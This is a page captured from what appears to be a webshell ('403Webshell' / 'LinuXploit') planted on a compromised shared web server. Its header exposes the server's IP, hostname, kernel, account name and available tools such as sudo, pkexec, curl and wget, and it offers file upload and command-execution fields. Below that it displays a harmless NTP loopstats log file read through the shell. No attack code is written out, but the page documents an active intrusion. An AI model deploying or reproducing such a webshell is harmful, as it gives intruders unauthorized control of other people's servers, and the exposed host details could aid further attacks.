403Webshell
Server IP : 162.144.4.212  /  Your IP : 216.73.216.49
Web Server : Apache
System : Linux gator2125.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : cozeellc ( 2980)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : ON |  Sudo : ON |  Pkexec : ON
Directory :  /var/log/ntpstats/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /var/log/ntpstats/loopstats.20240719
60510 345.782 -0.000548573 -15.949 0.000393495 0.075033 10
60510 1585.800 -0.000173956 -15.949 0.000391185 0.070187 10
60510 2432.768 -0.000582143 -15.951 0.000393351 0.065657 10
60510 3479.865 -0.000749145 -15.954 0.000372653 0.061425 10
60510 3643.778 -0.000374292 -15.954 0.000372929 0.057458 10
60510 4508.866 -0.000856109 -15.957 0.000388214 0.053756 10
60510 5748.783 -0.000427901 -15.959 0.000393435 0.050289 10
60510 7837.773 -0.000594028 -16.035 0.000372682 0.054124 10
60510 8681.865 -0.000636560 -16.037 0.000348937 0.050634 10
60510 9705.840 -0.000789788 -16.040 0.000330866 0.047375 10
60510 11810.845 -0.000078254 -16.050 0.000398840 0.044454 10
60510 12016.866 0.000461855 -16.049 0.000419111 0.041583 10
60510 13067.866 -0.000054503 -16.050 0.000432465 0.038897 10
60510 14983.847 0.000039268 -16.049 0.000405890 0.036385 10
60510 15185.865 0.000509319 -16.049 0.000414454 0.034036 10
60510 17122.865 -0.000139955 -16.050 0.000450550 0.031839 10
60510 17284.865 0.000509625 -16.050 0.000479964 0.029783 10
60510 19528.994 -0.001452069 -16.322 0.000513384 0.096447 6
60510 19593.992 0.000193361 -16.310 0.000754353 0.090317 6
60510 19854.978 0.001256942 -15.997 0.000799574 0.139188 6
60510 19985.982 0.001062774 -15.864 0.000751077 0.138403 6
60510 20250.949 0.000627765 -15.706 0.000719205 0.141092 6
60510 20713.935 -0.000421117 -15.891 0.000768192 0.147447 7
60510 20972.987 -0.000381423 -15.915 0.000718715 0.138175 7
60510 21708.006 -0.000356605 -15.978 0.000672353 0.131131 7
60510 21976.006 -0.000271047 -15.995 0.000629656 0.122814 7
60510 22693.980 0.000508923 -15.908 0.000650348 0.118929 7
60510 23023.998 0.000449623 -15.873 0.000608706 0.111949 8
60510 23680.031 0.000140730 -15.867 0.000579771 0.104737 8
60510 24279.002 0.000463147 -15.850 0.000554177 0.098146 8
60510 24538.998 0.000488775 -15.843 0.000518464 0.091846 8
60510 26653.968 -0.000427139 -15.946 0.000583153 0.093263 9
60510 29003.001 -0.000023182 -15.949 0.000563876 0.087247 9
60510 30059.031 -0.000349848 -15.954 0.000539954 0.081635 9
60510 30602.032 0.000050725 -15.954 0.000524561 0.076363 9
60510 31354.952 0.000312367 -15.950 0.000499325 0.071442 10
60510 32936.030 0.000961195 -15.945 0.000520367 0.066857 10
60510 35063.031 0.001358020 -15.774 0.000506575 0.086832 10
60510 36100.031 0.001352094 -15.769 0.000473862 0.081245 10
60510 37141.031 0.001112875 -15.765 0.000451254 0.076013 10
60510 38531.030 0.001098460 -15.759 0.000422141 0.071132 10
60510 40670.968 0.000660119 -15.677 0.000424199 0.072638 10
60510 41292.990 0.000408686 -15.676 0.000406638 0.067948 10
60510 42779.978 0.000452610 -15.673 0.000380692 0.063565 10
60510 43808.030 0.000216569 -15.672 0.000365752 0.059461 10
60510 44480.030 -0.000085723 -15.673 0.000358435 0.055620 10
60510 45969.031 0.000304694 -15.671 0.000362587 0.052032 10
60510 47022.019 0.000232700 -15.670 0.000340123 0.048672 10
60510 47680.030 -0.000084813 -15.670 0.000337380 0.045529 10
60510 49755.015 -0.000098908 -15.683 0.000315629 0.042823 10
60510 50798.030 0.000571448 -15.681 0.000378605 0.040065 10
60510 51150.948 0.000763024 -15.680 0.000360571 0.037479 10
60510 51876.030 0.000398788 -15.679 0.000361032 0.035061 10
60510 53233.932 0.000614799 -15.676 0.000346242 0.032815 10
60510 54268.031 0.000663195 -15.673 0.000324331 0.030709 10
60510 55338.937 0.000191919 -15.672 0.000346128 0.028727 10
60510 56029.026 0.000149853 -15.672 0.000324114 0.026872 10
60510 57406.031 0.000717678 -15.668 0.000363624 0.025170 10
60510 58436.030 0.000921436 -15.665 0.000347684 0.023577 10
60510 60275.031 0.000429324 -15.662 0.000368843 0.022079 10
60510 60537.031 0.000662042 -15.661 0.000354696 0.020654 10
60510 61326.032 0.000412007 -15.660 0.000343363 0.019325 10
60510 61596.033 0.000763031 -15.659 0.000344330 0.018079 10
60510 63708.030 0.000024601 -15.656 0.000414611 0.016947 10
60510 64486.030 -0.000522072 -15.658 0.000433326 0.015861 10
60510 65831.031 -0.000300096 -15.659 0.000412867 0.014846 10
60510 66557.031 -0.000451206 -15.660 0.000389879 0.013894 10
60510 67605.030 -0.000449026 -15.662 0.000364700 0.013012 10
60510 69759.958 0.000045657 -15.656 0.000383366 0.012335 10
60510 71151.031 0.000006510 -15.656 0.000358873 0.011538 10
60510 71867.966 -0.000129496 -15.657 0.000339121 0.010794 10
60510 72191.989 -0.000117230 -15.657 0.000317249 0.010097 10
60510 72904.032 -0.000249244 -15.657 0.000300407 0.009447 10
60510 73989.988 -0.000262151 -15.658 0.000281042 0.008845 10
60510 75337.031 0.000031452 -15.658 0.000282643 0.008274 10
60510 77478.031 0.000073562 -15.649 0.000264807 0.008391 10
60510 78205.002 0.000051923 -15.649 0.000247822 0.007850 10
60510 80294.993 -0.000103427 -15.662 0.000238235 0.008697 10
60510 80637.031 -0.000254173 -15.663 0.000229133 0.008136 10
60510 81381.031 -0.000637681 -15.664 0.000253622 0.007636 10
60510 82445.031 -0.000718639 -15.667 0.000238962 0.007214 10
60510 84560.031 -0.000913411 -15.782 0.000233895 0.041275 10
60510 85634.933 -0.001683470 -15.789 0.000349274 0.038683 10

Youez - 2016 - github.com/yon3zu
LinuXploit